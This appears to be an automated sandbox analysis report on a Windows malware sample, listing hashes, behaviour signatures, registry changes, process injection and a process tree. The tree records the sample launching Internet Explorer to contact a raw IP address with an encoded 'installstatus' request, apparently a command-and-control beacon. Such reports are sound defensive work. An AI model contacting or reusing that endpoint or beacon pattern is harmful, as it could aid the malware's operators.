Analysis
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max time kernel
142s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28/06/2024, 00:41
Static task
static1
Behavioral task
behavioral1
Sample
1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe
Resource
win7-20240221-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe
Resource
win10v2004-20240226-en
6 signatures
150 seconds
General
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Target
1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe
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Size
718KB
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MD5
1827e4ce4892d227878a1c1d423c7898
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SHA1
948c9a13d66aa7c214a50bfedeb1086dc9adbd4f
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SHA256
3cd55cf5965e0e19c68a50b1557c69e6db9f495a3d37726da82f33e44860894c
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SHA512
3a1174932b1ac257f08026e28ae1c8202f1552cb6841a46e0592eeeba8f31f3e18629d0e41a53ae6452aa82b72b3189869821ae189a630df0fc2d5aa7b3615e4
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SSDEEP
6144:DM/in98C/WvBJIzvGO8QC2Vn8nVG2CPRgLXM+1mq7kycl8dk3LNr6XoRDae8N5YF:6C98CQnmGl2i+gL8+13gyc6EZou+AoG
Score
6/10
Malware Config
Signatures
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Program crash 1 IoCs
pid pid_target Process procid_target 4392 1848 WerFault.exe 93 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\~ETUPBLK.TMP 1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Internet Explorer\LowRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\Active IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Virtualized = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Internet Explorer\Recovery\Active IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Local\Microsoft\Windows\History = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\OperationalData = "5" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Local\Microsoft\PlayReady = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\OperationalData = "1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Internet Explorer\MINIE IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\Favorites = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Low = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\ProgramData\Microsoft\Windows\DRM = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\LocalLow = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WER = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\$RECYCLE.BIN = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\ProgramData = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Local\Microsoft\Feeds = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\IEShims\NormalizedPaths\C:\Users\Admin\AppData\Local\Temp\Low\Low = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE IEXPLORE.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4504 IEXPLORE.EXE Token: SeDebugPrivilege 4504 IEXPLORE.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4484 1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe 4504 IEXPLORE.EXE 4504 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4484 wrote to memory of 3328 4484 1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe 91 PID 4484 wrote to memory of 3328 4484 1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe 91 PID 4484 wrote to memory of 3328 4484 1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe 91 PID 3328 wrote to memory of 4504 3328 iexplore.exe 92 PID 3328 wrote to memory of 4504 3328 iexplore.exe 92 PID 4504 wrote to memory of 1848 4504 IEXPLORE.EXE 93 PID 4504 wrote to memory of 1848 4504 IEXPLORE.EXE 93 PID 4504 wrote to memory of 1848 4504 IEXPLORE.EXE 93
Processes
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C:\Users\Admin\AppData\Local\Temp\1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\1827e4ce4892d227878a1c1d423c7898_JaffaCakes118.exe"1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4484 -
C:\Program Files (x86)\internet explorer\iexplore.exe"C:\Program Files (x86)\internet explorer\iexplore.exe" "199.221.131.86/RequestHandler.ashx?MfcISAPICommand=installstatus¶m=%58%00%01%00B8RppShaXz16gIKuMoGx-IfyPxYe8uM2t_rQcjFZcp7laxkswjfgqGu7nfbthglynGY1LbqE6B-xpAE93uAsVHp3SYja7yWETqWe2MwLpXUjIi7A_MItAm"2⤵
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" "199.221.131.86/RequestHandler.ashx?MfcISAPICommand=installstatus¶m=%58%00%01%00B8RppShaXz16gIKuMoGx-IfyPxYe8uM2t_rQcjFZcp7laxkswjfgqGu7nfbthglynGY1LbqE6B-xpAE93uAsVHp3SYja7yWETqWe2MwLpXUjIi7A_MItAm"3⤵
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4504 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4504 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
PID:1848 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1848 -s 7725⤵
- Program crash
PID:4392
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1848 -ip 18481⤵PID:2368
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2252 --field-trial-handle=2900,i,14549994492153927475,12895178890800740987,262144 --variations-seed-version /prefetch:81⤵PID:4136